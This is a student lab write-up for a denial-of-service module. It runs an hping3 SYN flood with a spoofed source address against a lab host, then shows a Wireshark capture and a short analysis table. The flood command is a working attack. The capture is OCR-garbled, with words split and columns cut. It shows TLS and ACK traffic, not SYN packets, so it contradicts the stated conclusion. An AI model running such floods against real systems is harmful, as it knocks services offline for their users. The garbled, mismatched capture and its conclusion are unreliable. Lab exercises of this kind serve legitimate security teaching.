Denial of Service Lab Assignment(Module 10)

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SYN Flooding a Target Host Using hping3

1. hping3

```
root@kali:~# hping3 -S 10.0.2.15 -a 10.0.2.15 -p 22 --flood
HPING 10.0.2.15 (eth0 10.0.2.15): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
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2. Wireshark result (SYN flooding) in victim machine

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tcp							$\times \rightarrow v$	Expression	
	Time	Source	Destination	Protocol L	ength Inf	0			
	1 0.000000	104.25.218.21	10.0.2.15	TLSv1.2		plication Data			
	2 0.000091	10.0.2.15	104.25.218.21	TCP	54 16	14 → 443 [ACK]	Seq=1 Ack=13	91 Win=655	3
	3 0.000105	10.0.2.15	104.25.218.21	TCP	54 [T	CP Dup ACK 2#1] 1614 → 443	[ACK] Seq=:	1
	4 0.014345	104.25.218.21	10.0.2.15	TLSv1.2	88 Ap	plication Data			
	5 0.014413	10.0.2.15	104.25.218.21	TCP	54 16	14 → 443 [ACK]	Seq=1 Ack=14	25 Win=655	3
	6 0.014426	10.0.2.15	104.25.218.21	TCP	54 [T	CP Dup ACK 5#1] 1614 → 443	[ACK] Seq=:	1
	7 0.053926	104.25.218.21	10.0.2.15	TCP	1418 44	3 → 1615 [PSH,	ACK] Seq=1 A	ck=1 Win=6	5
	8 0.054025	10.0.2.15	104.25.218.21	TCP	54 16	15 → 443 [ACK]	Seq=1 Ack=13	65 Win=6553	3
1	9 0.054116	10.0.2.15	104.25.218.21	TCP	54 [T	CP Dup ACK 8#1] 1615 → 443	[ACK] Seq=:	1
	10 0.055387	104.25.218.21	10.0.2.15	TLSv1.2	60 Ap	plication Data			
	11 0.055473	10.0.2.15	104.25.218.21	TCP	54 16	15 → 443 [ACK]	Seq=1 Ack=13	67 Win=655	3
	12 0.055485	10.0.2.15	104.25.218.21	TCP	54 [T	CP Dup ACK 11#	1] 1615 → 443	[ACK] Seq:	=
	13 0.057319	104.25.218.21	10.0.2.15	TLSv1.2	88 Ap	plication Data			
	14 0.057390	10.0.2.15	104.25.218.21	TCP	54 16	15 → 443 [ACK]	Seq=1 Ack=14	01 Win=655	3
1	15 0.057403	10.0.2.15	104.25.218.21	TCP	54 [T	CP Dup ACK 14#	1] 1615 → 443	[ACK] Seq:	=
	16 4.237637	10.0.2.15	104.25.218.21	TLSv1.2	492 Ap	plication Data			
	17 4.237662	10.0.2.15	104.25.218.21	TCP	492 [T	CP Retransmiss	ion] 1614 → 4	43 [PSH, AG	C
	18 4.237963	10.0.2.15	104.25.218.21	TLSv1.2	492 Ap	plication Data			
- (19 4.237982	10.0.2.15	104.25.218.21				ion] 1615 → 4	_	

Lab Analysis

Tool/Utility	Information Collected/Objective Achieved		
hping3	SYN packets observed flooding the resources in		
	victim machine.		